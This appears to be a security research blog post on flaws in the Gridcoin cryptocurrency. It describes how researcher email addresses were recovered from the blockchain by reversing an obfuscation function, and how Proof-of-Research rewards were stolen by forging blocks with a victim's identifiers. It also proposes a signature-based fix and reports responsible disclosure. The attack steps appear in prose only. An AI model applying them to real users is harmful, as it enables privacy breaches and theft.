The total reward for a solved block is called the Subsidy and is computed as the sum of the Proof-of-Research and the Proof-of-Stake reward.

If a minter operates as an Investor (without BOINC contribution), the eCPID is set to the string Investor and all other fields of the BOINCHash are zeroed. An Investor receives only a relatively small Proof-of-Stake reward.
Because the Proof-of-Research reward is much higher than its Proof-of-Stake counterpart, contributing to BOINC projects is more worth the effort.

Statistic Website

At the beginning of the blog post, the core concept behind BOINC was described. One functionality is the creation of BOINC Credits for users, who perform computational work for the project server. This increases the competition between BOINC users and therefore has a positive effect on the amount of computational work users commit. Different websites 4 collect credit information of BOINC users from known project servers and present them online. The Gridcoin client compares the RAC and total credit values stored in a new minted block with the values stored on cpid.gridcoin.us:5000/get_user.php?cpid=eCPID where eCPID is the actual value of the researcher. If there are differences, the client declines the block. In short, statistical websites are used as control instance for Gridcoin. It is obvious that gridcoin.us administrators are able to modify values of any user. Thus, they are able to manipulate the amount of Gridcoins a minter gets for his computational work. This is crucial for the trust level and undermines the general decentralized structure of a cryptocurrency.

Project Servers

Gridcoin utilizes BOINC projects to outsource meaningful computation tasks from the currency. For many known meaningful problems there exist project servers 5 that validate solutions submitted by users, 6 and decide how many credits the users receive for their solutions. Therefore, the project servers can indirectly control the amount of Gridcoins a minter gets for his minted block via the total credit value. As a result, a Gridcoin user also needs to trust the project administrators. This is very critical since there is no transparency in the credit system of project server. If you want to know why decentralization is not yet an option, see our paper from WOOT'17.

Attacks

In addition to the trust a Gridcoin user needs to put into the project server and statistic website administrators, Gridcoin suffers from serious flaws which allows the revelation of minter identities or even stealing coins. Our attacks do not rely on the Gridcoin trust issues and the attacker does not need to be in possession of specific server administrative rights. We assume the following two simple attackers with limited capability sets. The first one, is the blockchain grabber which can download the Gridcoin blockchain from an Internet resource and runs a program on the downloaded data. The second one, the Gridcoin attacker, acts as a normal Gridcoin user, but uses a modified Gridcoin client version, in order to run our attacks.

Interestingly, the developer of Gridcoin tried to make the source code analysis somewhat harder, by obfuscating the source code of relevant functions.

 Fig. 3: Obfuscated source code in Gridcoin [Source]

Grab Gridcoin user email addresses

In order to protect the email addresses of Gridcoin Researchers, neither BOINC project websites nor statistical websites directly include these privacy critical data. The statistical websites only include eCPID entries, which are used to reward Gridcoin Researchers. However, the email addresses are hidden inside the computation of the BOINCHash (cf. Table 1). A BOINCHash is created every time a Researcher mints a new block and includes a CPIDv2 value. The CPIDv2 value contains an obfuscated email address with iCPID and a hash over the previous blockchain block.

By collecting the blockchain data and reversing the obfuscation function (cf. Figure 4 and Figure 7), the attacker gets all email addresses and iCPIDs ever used by Gridcoin Researchers. See the reversed obfuscation function in Figure 4 and Figure 5.

Evaluation

We implemented a deobfuscation function (cf. Figure 7) and executed it on the blockchain. This way, we were able to retrieve all (2709) BOINC email addresses and iCPIDs used by Gridcoin Researchers. This is a serious privacy issue and we address it with our fix (cf. The Fix).

Steal Gridcoin users BOINC reward

The previous attack through deobfuscation allows us to retrieve iCPID values and email addresses. Thus, we have all values needed to create a new legitimate eCPID. This is required because the CPIDv2 contains the last block hash and requires a re-computation for every new block it should be used in. We use this fact in the following attack and show how to steal the computational work from another legitimate Gridcoin Researcher by mining a new Gridcoin block with forged BOINC information. Throughout this last part of the post, we assume the Gridcoin Minter attacker model where the attacker has a valid Gridcoin account and can create new blocks. However, the attacker does not perform any BOINC work.

 Tab. 1: BOINCHash structure as stored and used in the Gridcoin blockchain.

As stated at the beginning of the blog post, the pre-image of the eCPID is stored obfuscated in every Gridcoin block, which contains a Proof-of-Research reward. We gathered one pre-image from the minted blocks of our victim and deobfuscated it. Thus, we know the values of the iCPID, and the email address of our victim. Subsequently, use the hash of the last block created by the network and use these three values to create a valid CPIDv2. Afterwards we constructed a new block. In the block we also store the current BOINC values of our victim, which we can gather from the statistics websites. The final block is afterwards sent into the Gridcoin network. In case all values are computed correctly by the attacker, the network will accept the block, and resulting in a higher reward for the attacker, consisting of Proof-of-Stake and Proof-of-Research reward.

 Fig. 4: Obfuscation function

 Fig. 5: Deobfuscation function

Evaluation

In order to verify our attacks practically, we created two virtual machines (R and A), both running Ubuntu 14.04.3 LTS. The virtual machine R contained a legitimate BOINC and Gridcoin instance. It represented the setup of a normal Gridcoin Researcher. The second machine A contained a modified Gridcoin-Research client 3.5.6.8 version, which tried to steal the Proof-of-Research reward of virtual machine R. Thus, we did not steal reward of other legitimate users. The victim BOINC client was attached to the SETI@home project 11 with the eCPID 9f502770e61fc03d23d8e51adf7c6291.

The victim and the attacker were in possession of Gridcoins, enabling them to stake currency and to create new blocks.

 Fig. 6: CPIDv2 calculation deobfuscated

Initially both Gridcoin-Research clients retrieved the blockchain from other Gridcoin nodes in the Gridcoin network.

The Gridcoin attack client made it possible to specify the victim email address, iCPID and target project. All these values can be retrieved from the downloaded blockchain and our previous attack via the reverseCPIDv2 function as shown in Figure 7. The attack client read the iCPID and email address of the victim from a modified configuration file. All other values, for example, RAC or ResearchAge, were pulled from http://cpid.gridcoin.us:5000/get_user.php?cpid=. As soon as all values were received, the client attempted to create a new valid block.

 Fig. 7: Reverse the CPIDv2 calculation to get iCPID and email address

Once a block had been created and confirmed, the attacker received the increased coin reward with zero BOINC contribution done. The attack could only be detected by its victims because an outside user did not know the legitimate Gridcoin addresses a Researcher uses.

All blocks created with our victim's eCPID are shown in Table 2. Illegitimate blocks are highlighted. We were able to mint multiple illegitimate blocks, and thus stealing Research Age from our victim machine R. All nine blocks created and send by our attacker to the Gridcoin network passed the Gridcoin block verification, were confirmed multiple times, and are part of the current Gridcoin blockchain. During our testing timespan of approximately three weeks, the attacker machine was wrongfully rewarded with 72.4 Proof-of-Research generated Gridcoins, without any BOINC work. The results show that the attack is not only theoretically possible, but also very practical, feasible and effective. The attack results can be reproduced with our Gridcoin-Research-Attack client.

 Tab. 2:Blocks minted with the victim's eCPID

The Fix

In order to fix the security issue, we found one solution which does not require any changes to the BOINC source code nor the infrastructure. It is sufficient to change some parts of the already existing Gridcoin Beacon system. Thus, our solution is backwards compatible.
The current Gridcoin client utilizes so called Beacons to register new eCPIDs and stores them as a transaction of 0.0001 Gridcoins in a Superblock which is created every 24 hours. A Beacon encloses the user's personal eCPIDs, a corresponding unused (but irreversible) CPIDv2, and the wallet's main Gridcoin payment address. Once the Superblock is created, the eCPIDs is bound to one Gridcoin payment address. During the block verification process this bond is unfortunately not checked. Furthermore, the existing Beacon system does not use any strong asymmetric cryptography to ensure authenticity and integrity of the broadcasted data. We propose to extend the Beacon system with public key cryptography. In detail, we suggest that a user binds his fresh public key PK_1 to a newly generated eCPID, and then storing them together in a Superblock. An initial Beacon would therefore contain a hashed (e.g. SHA-256) eCPID, the public key, a Nonce, and a cryptographic signature created with the corresponding secret key SK_1 of the public key. This allows only the owner of the secret key to create valid signatures over blocks created with his eCPID. Thus, an adversary first needs to forge a cryptographic signature before he can claim Proof-of-Research work of another Gridcoin user. Thus, he is not capable of stealing the reward of the user.

Beacon to create a eCPID, public/secret key pair bond

For verification purposes nodes fetch the corresponding latest public key from one of the Superblocks. Furthermore, this Beacon structure allows a user to replace his previous public key associated with his eCPID. This is realized by submitting a new Beacon with a new public key PK_2, signed with his old secret key.

Beacon to update a eCPID, public/secret key pair bond

All Beacons in the chain are verifiable and the latest public key is always authentic. The Nonce provide freshness for the signature input, and therefore prevent replay attacks against the Beacon system.
Note that the eCPID needs to be completely unknown to the network, when sending the initial Beacon, for this concept to work as intended. The hash function ensures, that the Beacon does not reveal the fresh eCPID. As a result, an attacker is unable to mint with a eCPID even if he was able to intercept an initial Beacon and replaced the public key and signature with his own parameters, beforehand. This solution does not require any changes in the BOINC source code or the project servers.

Sign a block

In order to claim the Proof-of-Research reward for a newly created block, the Gridcoin minter computes a signature over the hash of the blockheader. Afterwards, he stores the resulting value at the end of the corresponding block in a new field. The private key used for the signature generation must correspond to the advertised public key by the user. It is important to note that the signature value is not part of the Merkle tree, and thus does not change the blockheader. In the end, the signature can then be verified by every other Gridcoin user via the advertised public key corresponding to the eCPID of the Gridcoin minter.

Responsible Disclosure

The attacks and the countermeasures were responsibly disclosed to the Gridcoin developer on the 14th of September, 2016. The developer used our proposed countermeasures and started to implement a new version. Since version 3.5.8.8, which is mandatory for all Gridcoin users, there exists an implementation, which contains countermeasures to our reward stealing attack.
See our next blog post, why Gridcoin is still insecure and should not be used anymore.

Further Reading

A more detailed description of Gridcoin and the attacks will be presented at WOOT'17, the paper is available here.

Authors

Tobias Niemann

Juraj Somorovsky

Martin Grothe

More articles

• Hacking For Dummies
• Hacking 3Ds
• Pentest+ Vs Ceh
• Hacker Ethic
• Hacker Computer
• Pentesting And Ethical Hacking
• Hacking Tools
• Pentest As A Service
• Pentest Tools Framework
• Pentest Windows
• Pentest News
• Pentest News
• Pentest Report Generator
• Hacker Kevin Mitnick